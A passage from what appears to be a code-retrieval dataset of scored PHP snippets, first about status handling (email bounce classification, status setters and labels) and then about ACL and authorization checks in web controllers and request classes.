{\n\t\t\t\t\t$bounce_type = 'hard';\n\t\t\t\t\t$bounce_group = 'emaildoesntexist';\n\t\t\t\t}\n\t\t\t\treturn array(true, $bounce_type, $bounce_group);\n\t\t\t\tbreak;\n\n\t\t\tcase '2': // Mailbox status\n\t\t\t\t$bounce_type = 'soft';\n\n\t\t\t\t// '1' is also inactive, so it can go through to the default case.\n\t\t\t\tswitch ($statusSubCode) {\n\t\t\t\t\tcase '2':\n\t\t\t\t\t\t$bounce_group = 'overquota';\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase '3':\n\t\t\t\t\t\t$bounce_group = 'blockedcontent';\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase '4':\n\t\t\t\t\t\t$bounce_group = 'remoteconfigerror';\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t$bounce_group = 'inactive';\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\treturn array(true, $bounce_type, $bounce_group);\n\t\t\t\tbreak;\n\n\t\t\tcase '3': // Mail system status\n\t\t\t\t$bounce_type = 'soft';\n\n\t\t\t\t// 2, 3 and 5 are all 'remoteconfigerror' so just send 'em to the default case.\n\t\t\t\tswitch ($statusSubCode) {\n\t\t\t\t\tcase '1':\n\t\t\t\t\t\t$bounce_group = 'overquota';\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase '4':\n\t\t\t\t\t\t$bounce_group = 'overquota';\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t$bounce_group = 'remoteconfigerror';\n\t\t\t\t}\n\t\t\t\treturn array(true, $bounce_type, $bounce_group);\n\t\t\t\tbreak;\n\n\t\t\tcase '4': // Network and routing status\n\t\t\t\t$bounce_type = 'soft';\n\t\t\t\t$bounce_group = 'remoteconfigerror';\n\t\t\t\treturn array(true, $bounce_type, $bounce_group);\n\t\t\t\tbreak;\n\n\t\t\tcase '5': // Mail delivery protocol status\n\t\t\t\tif (in_array($statusSubCode, array('0'))) {\n\t\t\t\t\t$bounce_type = 'hard';\n\t\t\t\t\t$bounce_group = 'relayerror';\n\t\t\t\t} else {\n\t\t\t\t\t$bounce_type = 'soft';\n\t\t\t\t\t$bounce_group = 'localconfigerror';\n\t\t\t\t}\n\t\t\t\treturn array(true, $bounce_type, $bounce_group);\n\t\t\t\tbreak;\n\n\t\t\tcase '6': // Message contents status\n\t\t\t\t$bounce_type = 'soft';\n\t\t\t\t$bounce_group = 'localconfigerror';\n\t\t\t\treturn array(true, $bounce_type, $bounce_group);\n\t\t\t\tbreak;\n\n\t\t\tcase '7': // Security status\n\t\t\t\tswitch ($statusSubCode) {\n\t\t\t\t\tcase '1':\n\t\t\t\t\t\t$bounce_group = 'blockedcontent';\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t$bounce_group = 'localconfigerror';\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\t$bounce_type = 'soft';\n\t\t\t\treturn array(true, $bounce_type, $bounce_group);\n\t\t\t\tbreak;\n\t\t}\n\n\t\t// Do not consisder this status, as it doesn't match any of the available cases\n\t\treturn array(false, false, false);\n\t}", "title": "" }, { "docid": "862cf00be26518bdb170d38db623b01c", "score": "0.46154436", "text": "public function setStatus($status){ $this->status = $status;\n }", "title": "" }, { "docid": "ec517eabadd65e609a8dad8ed3600295", "score": "0.46089453", "text": "function setStatus( $new_status )\n{\n global $status;\n\n if( $new_status > $status )\n $status = $new_status;\n}", "title": "" }, { "docid": "8008eca20bee944df5bc76b6688d0f29", "score": "0.46079683", "text": "abstract public function getStatus();", "title": "" }, { "docid": "8008eca20bee944df5bc76b6688d0f29", "score": "0.46079683", "text": "abstract public function getStatus();", "title": "" }, { "docid": "f0c90ac059b438a77738a45c97fb37ea", "score": "0.46075016", "text": "function _getMBStatus($statusId)\r\n\t{\r\n\t\tswitch($statusId) {\r\n\t\t\tcase 2 : return 'Complete';\r\n\t\t\tcase 0 : return 'Pending';\r\n\t\t\tcase -1 : return 'Cancelled';\r\n\t\t\tcase -2 : return 'Failed';\r\n\t\t\tcase -3 : return 'Chargeback';\t\t\t\r\n\t\t\t\r\n\t\t\tdefault: return 'unknown_status';\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "6ce32405d7827630c1d33e9822c59267", "score": "0.46074006", "text": "public function setStatus($status) {\n $this->status = $status;\n }", "title": "" }, { "docid": "6ce32405d7827630c1d33e9822c59267", "score": "0.46074006", "text": "public function setStatus($status) {\n $this->status = $status;\n }", "title": "" }, { "docid": "6ce32405d7827630c1d33e9822c59267", "score": "0.46074006", "text": "public function setStatus($status) {\n $this->status = $status;\n }", "title": "" }, { "docid": "6ce32405d7827630c1d33e9822c59267", "score": "0.46074006", "text": "public function setStatus($status) {\n $this->status = $status;\n }", "title": "" }, { "docid": "bd59d1358de57b5a3e8c2a2076a81851", "score": "0.4603158", "text": "public function update_claim($event_id = null, $status = null) {\n\t\t// $this->log('Event Management - update claim status');\n\t\t$this->autoRender = false;\n\n\t\t$this->Event->id = $event_id;\n\t\t$this->Event->saveField('is_claimed', $status);\n\n\t\t$this->redirect($this->referer());\n\t}", "title": "" }, { "docid": "4a0268a242a5f3111a38b6cac1482497", "score": "0.46016484", "text": "protected function _statusPending()\n {\n $this->_writeLog('Not doing anything in _statusPending: ' . $this->_postData['pending_reason']);\n }", "title": "" }, { "docid": "c9139dcad3f2c8d98aa30844133e8a0e", "score": "0.46010655", "text": "public function setStatus(TicketStatus $status)\n {\n $this->status = $status;\n }", "title": "" }, { "docid": "3ee5bfad1ad563fe56a7605585642bf8", "score": "0.4598024", "text": "private function _get_torrent_status ($status)\n\t{\n\t\tswitch ($status) {\n\t\t\tcase TransmissionRPC::TR_STATUS_STOPPED:\n\t\t\t\treturn 'Stopped';\n\n\t\t\tcase TransmissionRPC::TR_STATUS_CHECK_WAIT:\n\t\t\t\treturn 'Queued to check';\n\n\t\t\tcase TransmissionRPC::TR_STATUS_CHECK:\n\t\t\t\treturn 'Checking files';\n\n\t\t\tcase TransmissionRPC::TR_STATUS_DOWNLOAD_WAIT:\n\t\t\t\treturn 'Queued to download';\n\n\t\t\tcase TransmissionRPC::TR_STATUS_DOWNLOAD:\n\t\t\t\treturn 'Downloading';\n\n\t\t\tcase TransmissionRPC::TR_STATUS_SEED_WAIT:\n\t\t\t\treturn 'Queued to seed';\n\n\t\t\tcase TransmissionRPC::TR_STATUS_SEED:\n\t\t\t\treturn 'Seeding';\n\n\t\t\tdefault:\n\t\t\t\treturn 'Unknown';\n\t\t}\n\t}", "title": "" }, { "docid": "e13fdc39d2f4dbd80210946d39e44d18", "score": "0.45892832", "text": "function osc_set_banner_status($banners_id, $status) {\n if ($status == '1') {\n return osc_db_query(\"update \" . TABLE_BANNERS . \" set status = '1', date_status_change = now(), date_scheduled = NULL where banners_id = '\" . (int)$banners_id . \"'\");\n } elseif ($status == '0') {\n return osc_db_query(\"update \" . TABLE_BANNERS . \" set status = '0', date_status_change = now() where banners_id = '\" . (int)$banners_id . \"'\");\n } else {\n return -1;\n }\n }", "title": "" }, { "docid": "ad260b9af4438941381215cfcf9e3cc3", "score": "0.4582415", "text": "public static function applyStatusElement();", "title": "" }, { "docid": "230164a65fb952fce62ce254ca0715f5", "score": "0.4580101", "text": "public function setStatus($status)\n {\n if ($status !== $this->status) {\n $this->status = $status;\n $this->send(['STATUS' => $status]);\n }\n }", "title": "" }, { "docid": "1a76352c6ae48329c450e09e764f7afc", "score": "0.45768753", "text": "public function create( $status = 'unpaid' ) {\n\t\t$this->new_booking( $status, $this->order_data );\n\t\t$this->schedule_events();\n\t}", "title": "" }, { "docid": "e0ad3bf0212be858912b990ef5367b48", "score": "0.45748156", "text": "public function getStatusLabelAttribute()\n {\n return $this->is_on_hold ? 'On Hold' : object_get($this->conferenceStatus, 'label');\n }", "title": "" }, { "docid": "06d3bd676ea8f8a9aa48bf43e8d22e9f", "score": "0.45708874", "text": "public function reactToOnChangeState($event) { \n switch($event->stateAfter) {\n case \"unavailable\":\n $this->onUnavailable($event);\n break;\n case \"available\":\n $this->onAvailable($event);\n break;\n case \"rejected\":\n $this->onRejected($event);\n break;\n case \"ongoing\":\n $this->onOngoing($event);\n break;\n case \"failed\":\n $this->onFailed($event);\n break;\n case \"succeeded\":\n $this->onSucceeded($event);\n break;\n case \"completed\":\n $this->onCompleted($event);\n break;\n }\n }", "title": "" }, { "docid": "a571d3a11e4455cc0896f9bd850833f8", "score": "0.45691046", "text": "function getStatus();", "title": "" }, { "docid": "c2a4818ca79fed45f2d3d4055de8feaf", "score": "0.45665333", "text": "function prepStatus($status)\n{\n switch ($status)\n {\n case 'sent':\n return 'Successfully sent to ANDS';\n default:\n return 'Failed sending to ANDS';\n }\n}", "title": "" }, { "docid": "97db6de17447dfdc1648fbb23d0a8690", "score": "0.45657623", "text": "public function status(Request $request, Enquiry $enquiry, $status)\n {\n if($status == 0)\n {\n $enquiry->void_reason = $request->get('reason');\n }\n\n $enquiry->status = $status;\n \n $enquiry->save();\n \n return 'success';\n\n }", "title": "" }, { "docid": "56c3b89407b266247c905615938e5c60", "score": "0.4562803", "text": "public static function getAvailableStatus()\n {\n return array(\n self::STATUS_DRAFT => self::STATUS_DRAFT,\n self::STATUS_REVIEWED => self::STATUS_REVIEWED,\n self::STATUS_PUBLISH => self::STATUS_PUBLISH,\n self::STATUS_HIDDEN => self::STATUS_HIDDEN\n );\n }", "title": "" }, { "docid": "dc052525f746d591d5c803f8314dedfb", "score": "0.4555556", "text": "function tidy_get_status () {}", "title": "" }, { "docid": "b7716c157634211972d2440e9d6990c4", "score": "0.4553426", "text": "private function ref_status()\n {\n return array(\n 'NA' => 'NA',\n 'Supported' => 'Supported',\n 'Unsupported' => 'Unsupported',\n );\n }", "title": "" }, { "docid": "a5ff0dacc485c3c25be8d68862f362eb", "score": "0.4550864", "text": "private function getLabelStatusClass(string $status): string\n {\n switch ($status) {\n case Label::STATUS_ACTIVE:\n $class = 'badge badge-success';\n break;\n case Label::STATUS_INACTIVE:\n $class = 'badge badge-danger';\n break;\n default:\n $class = 'badge badge-light';\n break;\n }\n \n return $class;\n }", "title": "" }, { "docid": "21df8fe4870b35311a9d1aca8b88e129", "score": "0.454987", "text": "public static function status($status = null) {\n\t\treturn static::_group(__FUNCTION__, $status);\n\t}", "title": "" }, { "docid": "642f5023ca0e5018253c88dab425108d", "score": "0.45458052", "text": "static function get_event_edit_status($event) {\n $config = Configuration::get_configuration();\n $config = $config[\"locking\"];\n\n $lock_date = new DateTime();\n $lock_date->setTimestamp($event['created']);\n $lock_date->add(new DateInterval('P'. $config['editable_days'] .'D'));\n $now = new DateTime();\n\n // the number of days allowed to edit this event has expired\n if ($now > $lock_date) {\n return self::EDIT_CLOSED;\n }\n\n $user = MorgueAuth::get_auth_data();\n\n // the lock for another user's edits hasn't expired yet\n if (strcmp($user['username'], $event['modifier']) != 0) { \n $now = $now->getTimestamp();\n if ($now < $event['modified'] + $config['lock_time']) {\n return self::EDIT_LOCKED;\n }\n }\n return self::EDIT_UNLOCKED;\n }", "title": "" }, { "docid": "368213652dd29e16aeb1de8dae073a69", "score": "0.4542705", "text": "public static function get_request_statuses() {\n return [\n api::DATAREQUEST_STATUS_PENDING => get_string('statuspending', 'tool_dataprivacy'),\n api::DATAREQUEST_STATUS_AWAITING_APPROVAL => get_string('statusawaitingapproval', 'tool_dataprivacy'),\n api::DATAREQUEST_STATUS_APPROVED => get_string('statusapproved', 'tool_dataprivacy'),\n api::DATAREQUEST_STATUS_PROCESSING => get_string('statusprocessing', 'tool_dataprivacy'),\n api::DATAREQUEST_STATUS_COMPLETE => get_string('statuscomplete', 'tool_dataprivacy'),\n api::DATAREQUEST_STATUS_DOWNLOAD_READY => get_string('statusready', 'tool_dataprivacy'),\n api::DATAREQUEST_STATUS_EXPIRED => get_string('statusexpired', 'tool_dataprivacy'),\n api::DATAREQUEST_STATUS_CANCELLED => get_string('statuscancelled', 'tool_dataprivacy'),\n api::DATAREQUEST_STATUS_REJECTED => get_string('statusrejected', 'tool_dataprivacy'),\n api::DATAREQUEST_STATUS_DELETED => get_string('statusdeleted', 'tool_dataprivacy'),\n ];\n }", "title": "" } ]
5caf2227d419eb995213cb5ae0b9ae4e
Perform an ACL check when an AuthorizedController is dispatched.
[ { "docid": "32cc15121acbe069f3f6f16c17d28421", "score": "0.68369955", "text": "public function onDispatchController(MvcEvent $eventvent)\n {\n $controller = $eventvent->getTarget();\n\n // Check ACL\n if ($controller instanceof \\JaztecAcl\\Controller\\AuthorizedController) {\n $controller->checkAcl($eventvent);\n }\n }", "title": "" } ]
[ { "docid": "bd910f1aafd1f2802a7da80deb590dba", "score": "0.70635086", "text": "protected function _checkAcl()\n {\n if( isset( $this->_acl ) )\n {\n if( !is_array( $this->_acl ) || !isset($this->_acl[\"controller\"]) && !is_array( $this->_acl[\"actions\"] ) )\n {\n throw new Exception(\"invalid acl specified in \". $this->_request->getControllerName());\n }\n \n if( ( isset( $this->_acl[\"controller\"] ) &&\n !($this->user->racenet_flags & $this->_acl[\"controller\"] ) ) ||\n \n isset( $this->_acl[\"actions\"][$this->_request->getActionName()] ) &&\n !($this->user->racenet_flags & $this->_acl[\"actions\"][$this->_request->getActionName()] ) ) { \n \n if( is_array( $this->_acl[\"forward\"] ) && count( $this->_acl[\"forward\"] ) ) {\n \n switch( count( $this->_acl[\"forward\"] ) ) {\n case 1:\n $this->_forward($this->_acl[\"forward\"][0]);\n break;\n \n case 2:\n $this->_forward($this->_acl[\"forward\"][0], $this->_acl[\"forward\"][1]);\n break;\n }\n \n } else {\n \n $this->_forward(\"noaccess\");\n }\n }\n }\n }", "title": "" }, { "docid": "8c42cbdb23162f10b13021d47694556d", "score": "0.70303464", "text": "protected function checkAcl() {\n\t\t$role = ($this->_auth->hasIdentity()) // IF logged in\n\t\t\t? $this->_loggedInUser // get role of logged in user\n\t\t\t: 'guest'; // default role or NON-logged in user\n\t\t\t\n\t\t$controller = $this->_request->getControllerName(); // get the requested controller's name\n\t\t$action = $this->_request->getActionName(); // get the requested action's name\n\t\t\n\t\tif(!$this->_acl->isAllowed($role, $controller, $action)) { // IF user NOT allowed to this controller / action\n\t\t\t$this->_sessionNamespace->setRedirect($this->_request->getActionName(), $this->_request->getControllerName(), $this->_request->getParams()); // set redirect after login\n\t\t\t$this->errorAndRedirect('Please login to view this page!', 'login', 'authentication'); // display error and redirect\n\t\t\t//Zend_Debug::dump(\"$role : $controller : $action\");\n\t\t}\n\t}", "title": "" }, { "docid": "073c9a22683182f328d93ea5efcfc466", "score": "0.6785881", "text": "function handleAccessControl()\n {\n if ($GLOBALS['current_user']->isDeveloperForAnyModule()) {\n return;\n }\n if (!empty($_REQUEST['action']) && $_REQUEST['action'] == \"RetrieveEmail\") {\n return;\n }\n if (!is_admin($GLOBALS['current_user']) && !empty($GLOBALS['adminOnlyList'][$this->controller->module])\n && !empty($GLOBALS['adminOnlyList'][$this->controller->module]['all'])\n && (empty($GLOBALS['adminOnlyList'][$this->controller->module][$this->controller->action])\n || $GLOBALS['adminOnlyList'][$this->controller->module][$this->controller->action] != 'allow')\n ) {\n $this->controller->hasAccess = false;\n return;\n }\n\n // Bug 20916 - Special case for check ACL access rights for Subpanel QuickCreates\n if (isset($_POST['action']) && $_POST['action'] == 'SubpanelCreates') {\n $actual_module = $_POST['target_module'];\n if (!empty($GLOBALS['modListHeader']) && !in_array($actual_module, $GLOBALS['modListHeader'])) {\n $this->controller->hasAccess = false;\n }\n return;\n }\n\n if (!empty($GLOBALS['current_user']) && empty($GLOBALS['modListHeader'])) {\n $GLOBALS['modListHeader'] = query_module_access_list($GLOBALS['current_user']);\n }\n\n if (in_array($this->controller->module, $GLOBALS['modInvisList'])\n && ((in_array('Activities', $GLOBALS['moduleList']) && in_array('Calendar', $GLOBALS['moduleList']))\n && in_array($this->controller->module, $GLOBALS['modInvisListActivities']))\n ) {\n $this->controller->hasAccess = false;\n return;\n }\n }", "title": "" }, { "docid": "568fbec4d7c53959a45b02f503a37cac", "score": "0.6780397", "text": "public function checkIfAuthorized($request)\n {\n\n if (! $role = auth()->guard('web')->user()->role) {\n abort(401, 'This action is unauthorized.');\n }\n\n if ($role->permission_type == 'all') {\n return;\n } else {\n $acl = app('acl');\n if ($acl && isset($acl->roles[Route::currentRouteName()])) {\n bouncer()->allow($acl->roles[Route::currentRouteName()]);\n }\n }\n }", "title": "" }, { "docid": "131ddc75215983dfceddeecce5459206", "score": "0.67491144", "text": "public function process_acl(){\r\n $CI = &get_instance();\r\n $CI->load->library(\"acl\");\r\n $class = $CI->router->fetch_class();\r\n $method = $CI->router->fetch_method();\r\n $type = getUserdata(\"user_type\");\r\n $check = $CI->acl->check_access($class,$method,$type);\r\n if($check !== TRUE){\r\n if($CI->input->is_ajax_request()){\r\n if(getUserdata() === FALSE){\r\n echo \"logged out\";\r\n }else{\r\n echo \"restricted\";\r\n }\r\n die();\r\n }else{\r\n echo \"You are not authorized here...\";\r\n sleep(2);\r\n if(getUserdata() === FALSE){\r\n redirect_tr('authentication/login?redirectto='.current_url_tr());\r\n }else{\r\n redirect_tr();\r\n }\r\n die();\r\n }\r\n \r\n }\r\n }", "title": "" }, { "docid": "bde5c60ce9a0745a5f2a72366330ff5e", "score": "0.6722063", "text": "public function authorize($controller) { }", "title": "" }, { "docid": "2ac959a9c08ab874f6c352715cc442f9", "score": "0.66860825", "text": "function _authorize() {\n global $Authorize;\n return $Authorize->check($this, $this->getRawAction());\n }", "title": "" }, { "docid": "566fd78536490c30583bf8322f1b999c", "score": "0.65840775", "text": "public function testIsAllowedWithAuthorizerSuccess()\n {\n $authorizer = new AclTest_Authorizer();\n $role = new \\Zend_Acl_Role('doublecompile');\n $resource = new \\Zend_Acl_Resource('coffee');\n $this->_acl->addAuthorizer($authorizer)\n ->add($resource)\n ->addRole($role);\n \n $return = $this->_acl->isAllowed($role, $resource);\n \n $this->assertTrue($return);\n \n $return = $this->_acl->isAllowed($role, $resource);\n \n $this->assertTrue($return);\n $this->assertAttributeEquals(1, '_called', $authorizer);\n }", "title": "" }, { "docid": "85a70e6cc5c055c08a9182181d4aefd0", "score": "0.65836704", "text": "public function authorize(){\n\t\n\t\tif($this->autoAuthorize){\t\t\t\n\t\t\t#if set to check action auth, will throw exception if not logged in or user doesn't have access\t\t\t\t\t\t\n\t\t\tif(Framework::getConfigProperty(ACTION_AUTHORIZATION)){\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\tAuthManager::authorizeAction($this->actionName, $this->module);\n\t\t\t}\n\t\t}\n\t\t\n\n\t\t\n\t\tif($this->hasRestrictions()){\n\t\t\t## this action has some user-defined restrictions, check to see if authenticated user passes them.\n\t\t\t## if user is not logged in, an AuthenticationException will be thrown, prompting a login \n\t\t\t\n\t\t\n\t\t\t$user = AuthManager::getAuthenticatedUser();\n\t\t\t\n\t\t\t$allowed = false;\n\t\t\tforeach($this->getAllowedRoles() as $roleId){\n\t\t\t\tif($user->hasRole($roleId)){\n\t\t\t\t\t#$allowed = true;\n\t\t\t\t\t#break;\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tif(! $allowed){\n\t\t\t\tforeach($this->getAllowedUsers() as $uniqueId){\n\t\t\t\t\tif($user->getUniqueId() === $uniqueId){\n\t\t\t\t\t\t#$allowed = true;\n\t\t\t\t\t\t#break;\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t## if the user's credentials haven't matched any of the restrictions by now, raise the alarm\n\t\t\tthrow new AuthorizationException($user->getUniqueId(), \"Authenticated user does not have access to this page\");\n\t\t\t\n\n\t\t}else {\n\t\t\t## this action has no restrictions, authorization automatically passes\t\t\n\t\t\treturn true;\n\t\t}\n\t\n\t\n\t\n\t\n\t}", "title": "" }, { "docid": "e803332045ce6c980d78c676fce9fa1c", "score": "0.65496504", "text": "private function _checkAcl()\n\t{\n\t\t$aclConfig = Agl::app()->getConfig('core-layout/modules/' . $this->_module . '#' . $this->_view . '#action#' . $this->_action . '/acl');\n\n\t\tif ($aclConfig === NULL) {\n\t\t\t$aclConfig = Agl::app()->getConfig('core-layout/modules/' . $this->_module . '#' . $this->_view . '/acl');\n\t\t}\n\n\t\tif ($aclConfig === NULL) {\n\t\t\t$aclConfig = Agl::app()->getConfig('core-layout/modules/' . $this->_module . '/acl');\n\t\t}\n\n \tif ($aclConfig !== NULL) {\n\t\t\t$auth = Agl::getAuth();\n\t\t\t$acl = Agl::getSingleton(Agl::AGL_CORE_POOL . '/auth/acl');\n\t\t\tif (! $acl->isAllowed($auth->getRole(), $aclConfig)) {\n\t \t\t$acl->requestLogin();\n\t \t}\n }\n\n return true;\n\t}", "title": "" }, { "docid": "918b94ffe2a44963f82395f8c9c1aa84", "score": "0.6528694", "text": "protected function _checkAccess()\n {\n if ($this->acl->isAllowed($this->viewer->getRole(), \\Engine\\Acl\\Dispatcher::ACL_ADMIN_MODULE, \\Engine\\Acl\\Dispatcher::ACL_ADMIN_CONTROLLER, '*')) {\n return true;\n }\n $action = $this->dispatcher->getActionName();\n if ($this->acl->isAllowed($this->viewer->getRole(), \\Engine\\Acl\\Dispatcher::ACL_ADMIN_MODULE, \\Engine\\Acl\\Dispatcher::ACL_ADMIN_CONTROLLER, $action)) {\n return true;\n }\n $module = $this->dispatcher->getModuleName();\n $controller = $this->dispatcher->getControllerName();\n if ($this->acl->isAllowed($this->viewer->getRole(), $module, $controller, $action, false)) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "f0b53423d709619926c317e63561d83c", "score": "0.65076834", "text": "protected function checkAcl()\n\t{\n\t\t$resource = $this->getName();\n\t\t$privilege = $this->getAction();\n\n\t\tif($this->getUser()->isAllowed($resource, $privilege) === false || $this->getUser()->isLoggedIn() === false){\n\t\t\t//throw new \\Nette\\Application\\BadRequestException(\"access denied\",403);\n\t\t\t$userInfo = ($this->getUser()->isLoggedIn()) ? \"user id '{$this->getUser()->getId()}'\" : \"not logged user\";\n\n\t\t\tDebugger::log(\"Acess denied for '{$userInfo}'\", Debugger::WARNING);\n\n\t\t\t$this->redirect($this->loginLink);\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "dfda82760604ffb0890bf36b44685e55", "score": "0.642216", "text": "public function authorize() {\n $action = $this->route()->getAction();\n\n $is_edit = Auth::guard('admin')->user()->can($action['as'], 'edit');\n $own_edit = Auth::guard('admin')->user()->can($action['as'], 'own_edit');\n\n if ($is_edit == 1 || (!empty($own_edit) && ($this->food->created_by == Auth::guard('admin')->user()->id))) {\n return true;\n } else {\n abort(403);\n }\n }", "title": "" }, { "docid": "5a9fd4055d854c36806fb1ab695726b0", "score": "0.6417333", "text": "public function isAuthorized(Controller $controller) {\n\t\t// How grant access to an action ?\n\t\t// - you are admin\n\t\t// if not :\n\t\t// - have method isAuthorizedMyaction() returning true\n\t\t// if no such method :\n\t\t// - have method isAuthorizedController() return true\n\t\t// if no such method :\n\t\t// - check roles from $accessAction (must have each roles)\n\t\t// if no action defined in accessAction\n\t\t//- check roles from $accessController (must have each roles)\n\t\t// if not... not allowed\n\n\t\t$UserModel = $this->_getModel($this->Auth->userModel);\n\t\t$user = $this->getUser();\n\t\t\n\t\t// is admin ?\n\t\tif($UserModel->isSuperAdmin($user)) {\n\t\t\treturn TRUE;\n\t\t}\n\n\t\t// check isAuthorizedMyaction()\n\t\t$method = 'isAuthorized'.ucfirst($controller->action);\n\t\tif(is_callable(array($controller, $method))) {\n\t\t\treturn $controller->{$method}($user);\n\t\t}\n\t\t\n\t\t// check isAuthorizedController()\n\t\t$method = 'isAuthorizedController';\n\t\tif(is_callable(array($controller, $method))) {\n\t\t\treturn $controller->{$method}($user);\n\t\t}\n\t\t\n\t\t// check if roles are defined in $controller->actionRoles\n\t\tif(isset($controller->actionsCredentials) AND isset($controller->actionsCredentials[$controller->action])) {\n\t\t\treturn $UserModel->checkCredentials($user, $controller->actionsCredentials[$controller->action]);\n\t\t}\n\t\t\n\t\t// check if roles are defined in $controller->controllerRoles\n\t\tif(isset($controller->controllerCredentials)) {\n\t\t\treturn $UserModel->checkCredentials($user, $controller->controllerCredentials);\n\t\t}\n\t\t\n\t\treturn TRUE;\n\t}", "title": "" }, { "docid": "a5ead1e761cbcd9631160fac23d3da1c", "score": "0.6405065", "text": "public function authorize()\n {\n if(auth()->user()->canFullyEditIdea()) {\n return true;\n }\n\n if($this->idea->status_id == Status::$CORR_NEEDED) {\n if(\n auth()->user()->id == $this->idea->submitter_id ||\n auth()->user()->id == $this->idea->submitter->manager_id\n ) {\n return true;\n }\n }\n\n abort(403, 'Unauthorized action.');\n }", "title": "" }, { "docid": "82d94b17088788ac8611b32371868cea", "score": "0.6397902", "text": "public abstract function processAuthorisation();", "title": "" }, { "docid": "bc9bcc27e94dc64bbb3fd1150666b42d", "score": "0.63905656", "text": "public function checkPermission()\n {\n $permissions = $this->getPermissions();\n $permissionRoutes = $this->getPermissionRoutes();\n if ($permissions) {\n $permissionArray = [];\n foreach ($permissions as $key => $permission) {\n $permissionArray = $permission;\n }\n $className = Stringify::studlyCaps($permissionRoutes['controller'] . 'Controller');\n if (isset($permissionRoutes['namespace'])) {\n $namespace = \"\\App\\Controller\\Admin\\\\\" . $className;\n } else {\n $namespace = \"\\App\\Controller\\\\\" . $className;\n }\n\n $reflection = new ReflectionClass($namespace);\n $methods = $reflection->getMethods(ReflectionMethod::IS_PROTECTED);\n if (count($methods) > 0) {\n foreach ($methods as $method) {\n foreach ($method as $name) {\n if (str_contains($name, $permissionRoutes['action'])) {\n $permName = $permissionRoutes['action'] . '_' . $permissionRoutes['controller'];\n $role = PrivilegedUser::getUser();\n if ($role) {\n if (!$role->hasPrivilege($permName)) {\n if (!in_array($permName, $role->getPermissions())) {\n $_className = new $className;\n $_className->flashMessage('You are not authorized to enter this entire', $_className->flashWarning());\n $_className->redirect(Authorized::getReturnToPage());\n }\n }\n }\n }\n }\n\n }\n }\n }\n /* assign a permission to a matching route */\n\n /* check a user has the permission to access the route */\n }", "title": "" }, { "docid": "b94bcdf7a3a6a16be683abf6d9584473", "score": "0.6362524", "text": "public function isAuthorized() {\r\n\t\tif(!in_array($this->action, $this->Auth->allowedActions));\r\n\t\t\t$this->Session->setFlash(\"You do not have permission to view that page\");\r\n\t}", "title": "" }, { "docid": "8760c099bc57f5fa8739c65c1c696ac7", "score": "0.63579607", "text": "public function authorize()\n {\n // Already authorized by middleware on route.\n // No policy or gate defined for this resource thus returns true.\n return true;\n }", "title": "" }, { "docid": "2514777a1bbc235fd440b8816b9ba9bb", "score": "0.63471454", "text": "public function authorize()\n {\n // Auth is checked in the controller via auth middleware\n return true;\n }", "title": "" }, { "docid": "481a3a14d62fee50385f01a823aa3e35", "score": "0.6346126", "text": "public function authorize()\n {\n $advertisement = $this->route('advertisement');\n return $advertisement && $this->user()->can('update', $advertisement);\n }", "title": "" }, { "docid": "b4b38d7db912eadab871ce6ffc31b491", "score": "0.63334", "text": "function effect() {\n\t\t// Check whether the user has one of the allowed roles\n\t\t// assigned. If that's the case we'll permit access.\n\t\t// Get user roles grouped by context.\n\t\t$userRoles = $this->getAuthorizedContextObject(ASSOC_TYPE_USER_ROLES);\n\t\tif (empty($userRoles)) return AUTHORIZATION_DENY;\n\n\t\tif (!$this->_checkUserRoleAssignment($userRoles)) return AUTHORIZATION_DENY;\n\n\t\t// FIXME: Remove the \"bypass operation check\" code once we've removed the\n\t\t// HandlerValidatorRole compatibility class and make the operation\n\t\t// check unconditional, see #5868.\n\t\tif ($this->_bypassOperationCheck) {\n\t\t\tassert($this->getOperations() === array());\n\t\t} else {\n\t\t\tif (!$this->_checkOperationWhitelist()) return AUTHORIZATION_DENY;\n\t\t}\n\n\t\treturn AUTHORIZATION_PERMIT;\n\t}", "title": "" }, { "docid": "2e87c740f50025afcd2c68e1c71207d1", "score": "0.6326427", "text": "protected function authorization()\n {\n $this->gate();\n\n Nova::auth(function ($request) {\n return Gate::check('viewNova', [$request->user()]);\n });\n }", "title": "" }, { "docid": "1dd55f250582ab64374fd0e148d0e44c", "score": "0.63246596", "text": "public function authorize()\n {\n $user = Auth::guard('api')->user();\n\n if($this->method() === 'POST'){\n return $user->can('create', Ads::class);\n }\n\n if($this->method() === 'PUT'){\n\n $requestedId = (int)$this->route()->parameters['ads'];\n $requested = Ads::find($requestedId);\n\n return $user->can('update', $requested);\n }\n\n return true;\n }", "title": "" }, { "docid": "68422d827d616d65640f001d459c0197", "score": "0.63083744", "text": "public function handleAuthorization()\r\n {\r\n\r\n // Call parent to handle basic authorization first\r\n parent::handleAuthorization();\r\n }", "title": "" }, { "docid": "9fa52f02ab2b1a37a9b76e9be27783c5", "score": "0.62991714", "text": "public function authorize()\n\t{\n //TODO add in authorization for contract storing requests.\n\t\treturn true;\n\t}", "title": "" }, { "docid": "6038e75c40390de4241142b822b80c36", "score": "0.62934625", "text": "public function authorize()\n {\n $user_id = $this->route('user_id');\n\n if ($task_id = $this->input('id'))\n {\n return $this->user()->can('update', [Task::class, $user_id, $task_id]);\n }\n\n return $this->user()->can('create', [Task::class, $user_id]);\n }", "title": "" }, { "docid": "34e25b93b624963adc509de869ce6b67", "score": "0.6289562", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed($this->_getAclResource());\n }", "title": "" }, { "docid": "106229ae9ac15d60a046c42622f003fc", "score": "0.62773526", "text": "public function authorize() {\n $action = $this->route()->getAction();\n\n $status = Auth::guard('admin')->user()->can($action['as'], 'store');\n if (empty($status)) {\n 